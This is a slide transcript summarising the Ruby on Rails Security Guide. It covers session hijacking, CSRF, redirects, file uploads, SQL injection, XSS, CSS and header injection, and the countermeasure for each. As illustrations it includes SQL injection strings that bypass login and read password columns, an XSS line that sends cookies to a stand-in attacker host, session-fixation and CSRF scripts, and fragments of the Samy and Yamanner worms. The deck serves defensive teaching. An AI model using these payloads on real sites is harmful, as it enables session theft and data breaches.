Ruby on Rails Security Guide

64
Ruby on Rails Security Guide Heejong Lee http://guides.rubyonrails.org/security.html

Transcript of Ruby on Rails Security Guide

Page 1: Ruby on Rails Security Guide

Ruby on Rails Security Guide

Heejong Lee

http://guides.rubyonrails.org/security.html

Page 2: Ruby on Rails Security Guide

Sessions• HTTP is stateless. Sessions make it stateful

• Usually consists of a hash of values and a session id (commonly a 32-character string)

session[:user_id] = @current_user.id User.find(session[:user_id])

Page 3: Ruby on Rails Security Guide

Sessions

• The hash value of a random string

• Currently, not feasible to brute-force

Session id

Page 4: Ruby on Rails Security Guide

Sessions

• The cookie serves as temporary authentication for the web application because session id in the cookie identifies the session

• Anyone who seizes a cookie from someone else, may use the web application as this user

Session Hijacking

Page 5: Ruby on Rails Security Guide

Sessions

• Sniff the cookie in an insecure network

Session Hijacking Method

Countermeasure

• Always forcing SSL

config.force_ssl = true

Page 6: Ruby on Rails Security Guide

Sessions

• Get cookies from a public terminal that does not logout

Session Hijacking Method

Countermeasure

• Provide the user with a logout button and make it prominent

Page 7: Ruby on Rails Security Guide

Sessions

• Many XSS exploits aim at obtaining the user’s cookie

Session Hijacking Method

Countermeasure

• Prevent XSS. Consult XSS section

Page 8: Ruby on Rails Security Guide

Sessions

• Many attackers prefer not stealing an unknown cookie but fixing a user’s session identifier

Session Hijacking Method

Countermeasure

• Consult session fixation section

Page 9: Ruby on Rails Security Guide

Sessions

• Do not store large objects in a session

• Store in DB and save only their id in the session

• Critical data should not be stored in session

• if the user clears their cookies or closes the browser, they will be lost. Also, with a client-side session storage, the user can read the data

Session Guidelines

Page 10: Ruby on Rails Security Guide

Sessions

• CookieStore saves the session hash directly in a cookie on the client-side

• Cookie imply a strict size limit of 4KB

• The client can see everything you store in a session because it is stored in clear-text (Base64-encoded)

• To prevent session hash tempering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie

Session Storage

Page 11: Ruby on Rails Security Guide

Sessions

• secret.secret_key_base is used for specifying a secret key

Session Storage

development: secret_key_base: a75d... test: secret_key_base: 492f... production: secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

config/secrets.yml

Page 12: Ruby on Rails Security Guide

Sessions

1. A user receives credits, the amount is stored in a session

2. The user buys something

3. The new adjusted credit value is stored in the session

4. The user takes the cookie from the first step and replaces the current cookie in the browser

5. The user has their original credit back

Replay Attacks for CookieStore Sessions

Page 13: Ruby on Rails Security Guide

Sessions

• The best solution against the replay attack is not to store this kind of data in a session, but in the database

Replay Attacks for CookieStore Sessions

Page 14: Ruby on Rails Security Guide

SessionsSession Fixation

Page 15: Ruby on Rails Security Guide

SessionsSession Fixation

1. The attacker creates a valid session id: they load the login page of the web application where they want to fix the session

2. They maintain the session by accessing the web application periodically in order to keep an expiring session alive

Page 16: Ruby on Rails Security Guide

SessionsSession Fixation

3. The attacker forces the user’s browser into using this session id

May run a JavaScript from the domain of the target web application (XSS) <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>

Page 17: Ruby on Rails Security Guide

SessionsSession Fixation

4. The attacker lures the victim to the infected page with the JavaScript code. As the new trap session is unused, the web application will require the user to authenticate

5. From now on, the victim and the attacker will co-use web application with the same session

Page 18: Ruby on Rails Security Guide

SessionsSession Fixation Countermeasure

• Issue a new session identifier and declare the old one invalid after a successful login

reset_session

• Save user-specific properties in the session, verify them every time a request comes in

remote ip address, user agent, etc.

Page 19: Ruby on Rails Security Guide

SessionsSession Expiry

• Session that never expire extend the time-frame for attacks such as CSRF, session hijacking and session fixation

• Check not only update time but also creation time to avoid session refreshing in session fixation attack

Page 20: Ruby on Rails Security Guide

CSRFCross-Site Request Forgery

Page 21: Ruby on Rails Security Guide

CSRFCross-Site Request Forgery

• Including malicious code or a link that access a web application that the user is believed to have authenticated

• Crafted image or link does not necessarily have to be situated in the web application’s domain. It can be anywhere.

Page 22: Ruby on Rails Security Guide

CSRFCross-Site Request Forgery Countermeasure

• Use GET and POST appropriately

• GET: the interaction is more like a question

• POST: the interaction is more like an order. the interaction changes the state of the resource in a way that the user would perceive

• POST request can be sent automatically, too

Page 23: Ruby on Rails Security Guide

CSRFCross-Site Request Forgery Countermeasure

• POST request can be sent automatically, too

<a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>

Page 24: Ruby on Rails Security Guide

CSRFCross-Site Request Forgery Countermeasure

• Rails introduced a required security token:protect_from_forgery with: :exception will automatically include a security token in all forms and Ajax requests generated by Rails

• Note that XSS vulnerabilities bypass all CSRF protection

Page 25: Ruby on Rails Security Guide

Redirection and FileRedirection

• Forwarding the user

def legacy redirect_to(params.update(action:'main')) end

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

will redirect to malicious site

Page 26: Ruby on Rails Security Guide

Redirection and FileRedirection

• Self-contained XSS

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

the data protocol in Firefox or Opera displays its contents directly in the browser and can be anything from HTML or

JavaScript to entire images

is a Base64 encoded JavaScript which displays a simple message box

Page 27: Ruby on Rails Security Guide

Redirection and FileRedirection Countermeasure

• Do not allow the user to supply (parts of) the URL to be redirected to

Page 28: Ruby on Rails Security Guide

Redirection and FileFile Uploads

• Make sure file uploads don’t overwrite important files

• upload to “/var/www/uploads” with a file name “../../../etc/passwd”

• Do not try to remove malicious parts. Use a whitelist approach, not a blacklist approach

• web application removes all “../”, attacker uses a string such as “….//”. The result would still be “../”

Page 29: Ruby on Rails Security Guide

Redirection and FileFile Uploads

• Process media files asynchronously

• Big media files can be used for denial-of-service attack

Page 30: Ruby on Rails Security Guide

Redirection and FileExecutable Code in File Uploads

• Do not place file uploads in the subdirectories of DocumentRoot

• Do not place file uploads in Rails’ /public directory if it is Apache’s home directory

Page 31: Ruby on Rails Security Guide

Redirection and FileFile Downloads

• Make sure users cannot download arbitrary files

send_file('/var/www/uploads/' + params[:filename])

Do NOT

Do Insteadbasename = File.expand_path(File.join(File.dirname(__FILE__), '../../files')) filename = File.expand_path(File.join(basename, @file.public_filename)) raise if basename != File.expand_path(File.join(File.dirname(filename), '../../../')) send_file filename, disposition: 'inline'

Page 32: Ruby on Rails Security Guide

User ManagementBrute-Forcing Accounts

• Use more generic error messages and possibly require to enter a CAPTCHA

Page 33: Ruby on Rails Security Guide

User ManagementCAPTCHAs

• A challenge-response test to determine that the response is not generated by a computer

• The problem is, they are really annoying

Page 34: Ruby on Rails Security Guide

User ManagementNegative CAPTCHAs

• Include a honeypot field in the form which will be hidden from the human user by CSS or JavaScript

• Some ideas how to hide honeypot fields

• position the fields off of the visible area of the page

• make the elements very small or color them the same as the background of the page

• leave the fields displayed, but tell humans to leave them blank

Page 35: Ruby on Rails Security Guide

User ManagementLogging

• Do not put password in the log file

config.filter_parameters << :password

Page 36: Ruby on Rails Security Guide

User ManagementRegular Expressions

• A common pitfall in Ruby’s RE is to match the string’s beginning and end by ^ and $, instead of \A and \z

/^https?:\/\/[^\n]+$/i

will match

javascript:exploit_code();/* http://hi.com */

/\Ahttps?:\/\/[^\n]+\z/i

to fix

Page 37: Ruby on Rails Security Guide

User ManagementPrivilege Escalation

• Changing a single parameter may give the user unauthorized access. Remember that every paramenter may be changed, no matter how much you hide or obfuscate it.

@project = Project.find(params[:id])

should be

@project = @current_user.projects.find(params[:id])

Page 38: Ruby on Rails Security Guide

InjectionWhitelist vs Blacklist

• When sanitizing, protecting or verifying something, prefer whitelist over blacklist

• allow <strong> instead of removing <script>

• don’t try to correct user input by blacklist: “<sc<script>ript>”.gsub(“<script>”,“”)

Page 39: Ruby on Rails Security Guide

InjectionSQL Injection

• Basic example

Project.where("name = '#{params[:name]}'")

put ’ OR 1 --

SELECT * FROM projects WHERE name = '' OR 1 --'

Page 40: Ruby on Rails Security Guide

InjectionSQL Injection

• Bypassing AuthorizationUser.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")

put ’ OR ‘1’=‘1 as name and ’ OR ‘2’>‘1 as password

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

Page 41: Ruby on Rails Security Guide

InjectionSQL Injection

• Unauthorized Reading

Project.where("name = '#{params[:name]}'")

put ’) UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

SELECT * FROM projects WHERE (name = '') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --'

Add appropriate amount of 1s to match the number of column

Page 42: Ruby on Rails Security Guide

InjectionSQL Injection Countermeasure

• built-in filters applied

Model.find(id), Model.find_by_something(something)

• Dangerous methods

Model.where(sql fragment), Model.find_by_sql(sql)

use question mark to sanitize tainted strings

Model.where("login = ? AND password = ?", entered_user_name, entered_password).first

Page 43: Ruby on Rails Security Guide

InjectionCross-Site Scripting (XSS)

• The most widespread, and one of the most devastating security vulnerabilities in web application

Page 44: Ruby on Rails Security Guide

InjectionCross-Site Scripting (XSS)

• Entry points: message posts, user comments, guest books, project titles, document names, search result pages, about everywhere where the user can input data

• XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display ads, change elements on the website to get confidential information, install malicious software through security holes in the web browser

Page 45: Ruby on Rails Security Guide

InjectionCross-Site Scripting (XSS)

• Common pattern is exploiting SQL injection vulnerability in a web application framework and insert malicious code in every textual table column

• In April 2008 more than 510,000 sites were hacked this way, among them the British government, United Nations

• Entry point can even be a banner advertisement

Page 46: Ruby on Rails Security Guide

InjectionCross-Site Scripting (XSS)• Most straightforward test to check for XSS

<script>alert('Hello');</script>

in very uncommon places

<img src=javascript:alert('Hello')> <table background="javascript:alert('Hello')">

Page 47: Ruby on Rails Security Guide

InjectionCross-Site Scripting (XSS)• Cookie theft

<script>document.write(document.cookie);</script>

shows one’s own cookie on the browser and still satisfies the same origin policy

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

However, an attacker can steal the victim’s cookie like

The log file on www.attacker.com will read like

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

Page 48: Ruby on Rails Security Guide

InjectionCross-Site Scripting (XSS)

• Defacement

• Overlap the entire or part of the web page with a fake web page

• iframe is the most popular way to include code from external sources

• unescaped search string is also dangerous

Page 49: Ruby on Rails Security Guide

InjectionCross-Site Scripting Countermeasure

• Filter a malicious input, and also escape the output of the web application

• Again, use whitelist filtering instead of blacklist. Blacklist are never complete

Page 50: Ruby on Rails Security Guide

InjectionCross-Site Scripting Countermeasure• Rails filter methods (strip_tags(), strip_links(), sanitize())

used a blacklist approach

strip_tags("some<<b>script>alert('hello')<</b>/script>")

returns

some<script>alert('hello')</script>

Page 51: Ruby on Rails Security Guide

InjectionCross-Site Scripting Countermeasure• Updated Rails 2 filter methods (strip_tags(), strip_links(),

sanitize()) use a whitelist approach

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) s = sanitize(user_input, tags: tags, attributes: %w(href title))

Page 52: Ruby on Rails Security Guide

InjectionCross-Site Scripting Countermeasure

• Use escapeHTML() (or h())

• It replaces replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (&amp;, &quot;, &lt;, and &gt;)

• Consider SafeErb gem. SafeErb reminds you to escape strings from external sources

Page 53: Ruby on Rails Security Guide

InjectionCross-Site Scripting Countermeasure• Rails sanitize() filter also recognizes encoded injection

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

pops up a message box

Page 54: Ruby on Rails Security Guide

InjectionReal-world Example• Js.Yamanner@m Yahoo! Mail worm appeared on June 11, 2006

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' target=""onload="var http_request = false; var Email = ‘'; var IDList = ‘'; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...

exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there

can be JavaScript). The filter is applied only once.

Page 55: Ruby on Rails Security Guide

InjectionCSS Injection

• MySpace Samy Worm Case Study

• The worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile

• Within several hours, he had over 1 million friend requests

• It creates too much traffic on MySpace, so that the site goes offline

Page 56: Ruby on Rails Security Guide

InjectionCSS Injection• MySpace Samy Worm Case Study

MySpace blocks many tags, however it allow CSS

<div style="background:url('javascript:alert(1)')">

But we cannot use either double and single quotes in the style attribute

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(

document.all.mycode.expr)')">

Aha! eval() allows to extract the payload outside of the style attribute

Page 57: Ruby on Rails Security Guide

InjectionCSS Injection• MySpace Samy Worm Case Study

MySpace filters the word ‘javascript’, let’s get around this

<div id="mycode" expr=“alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">

Last problem was the CSRF security token

The attacker (Samy) got around it by sending GET to the page right before adding a user and parsing the result for the CSRF token

In the end, the attacker got a 4KB worm, which he injected into his profile page

Page 58: Ruby on Rails Security Guide

InjectionCommand Line Injection• Use user-supplied command line parameters with

caution

• Use system(command, parameters) instead of exec(command), syscall(command), system(command)

system("/bin/echo","hello; rm *") # prints "hello; rm *" and does not delete files

Page 59: Ruby on Rails Security Guide

InjectionHeader Injection

• HTTP request headers are user-supplied and may be manipulated with more or less effort

• Be careful when you display the user agent in an administrator area

• HTTP response headers partly based on user input could be dangerous

Page 60: Ruby on Rails Security Guide

InjectionHeader Injection

redirect_to params[:referer]

Rails puts the string into the Location header field and sends a 302 status to the browser

http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://

www.malicious.tld

The second location overwrites the first

HTTP/1.1 302 Moved Temporarily (...) Location: http://www.malicious.tld

Page 61: Ruby on Rails Security Guide

InjectionHeader Injection

HTTP/1.1 302 Found [First standard 302 response] Date: Tue, 12 Apr 2005 22:09:07 GMT Location: Content-Type: text/html HTTP/1.1 200 OK [Second New response created by attacker begins] Content-Type: text/html &lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is shown as the redirected page] Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html

• Response Splitting

However, only seems to work with Keep-Alive connections

Page 62: Ruby on Rails Security Guide

InjectionHeader Injection Countermeasure

• Filter CRLFs from user inputs in response headers

• Use Rails version 2.1.2 or higher

Page 63: Ruby on Rails Security Guide

Unsafe Query Generationunless params[:token].nil? user = User.find_by_token(params[:token]) user.reset_password! end

When params[:token] is one of : [], [nil], [nil,nil,…], [‘foo’,nil], it will bypass the test for nil

IS NULL or IN ('foo', NULL) where clauses will unexpectedly be added to the result SQL

Page 64: Ruby on Rails Security Guide

Unsafe Query Generationconfig.action_dispatch.perform_deep_munge = true

The default deep_munge option translates the followings

JSON Parameters

{ "person": null } { :person => nil }

{ "person": [] } { :person => nil }

{ "person": [null] } { :person => nil }

{ "person": [null, null, ...] } { :person => nil }

{ "person": ["foo", null] } { :person => ["foo"] }